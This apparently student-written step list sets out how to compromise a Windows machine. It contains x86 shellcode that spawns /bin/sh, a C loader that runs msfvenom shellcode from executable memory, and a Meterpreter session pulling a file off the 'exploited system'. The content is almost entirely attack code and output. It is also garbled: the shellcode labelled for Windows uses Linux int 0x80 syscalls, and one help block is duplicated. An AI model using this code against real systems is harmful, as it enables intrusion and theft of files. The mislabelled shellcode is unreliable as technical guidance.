1. Create a shellcode to exploit windows OS

```
.section .data

.section .text

.globl _start

_start:

        xor %eax, %eax

    mov $70, %al

        xor %ebx, %ebx

        xor %ecx, %ecx

       int $0x80

        jmp ender

        starter:

       popl %ebx

        xor  %eax, %eax

        mov  %al, 0x07(%ebx)

        movl %ebx, 0x08(%ebx)

         movl %ebx, 0x0c(%ebx)

        mov $11, %al

        lea 0x08(%ebx), %ecx

        lea 0x0c(%ebx), %edx

        int $0x80

ender:

        call starter

        .string "/bin/shNAAAABBBB"
```

2. Execute the shellcode on Windows

```
#include <windows.h>
using namespace std;

int main(int argc, char **argv) {

	// shellcode generated by msfvenom
	char shellcode[] = "\xfc\xe8\x82\x00\x00\x00...";

	// allocate space in the process using VirtualAlloc
	void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT,
PAGE_EXECUTE_READWRITE);

	//copy the shellcode into the allocated space
	memcpy(exec, shellcode, sizeof shellcode);

	//execute the written memory
	((void(*)())exec)();

	return 0;
}
```

3. Get a Meterpreter.

```
meterpreter > help

Core Commands
=============

    Command       Description
    -------       -----------
    ?             Help menu
    background    Backgrounds the current session
    channel       Displays information about active channels
...snip...
```

4. Upload and Download few files from the exploited system

```
meterpreter > download e:\\readme.txt /root/
[*] downloading: e:\readme.txt -> /root/
[*] downloaded : e:\readme.txt -> /root//readme.txt
meterpreter >
```


```
meterpreter > help

Core Commands
=============

    Command       Description
    -------       -----------
    ?             Help menu
    background    Backgrounds the current session
    channel       Displays information about active channels
...snip...
```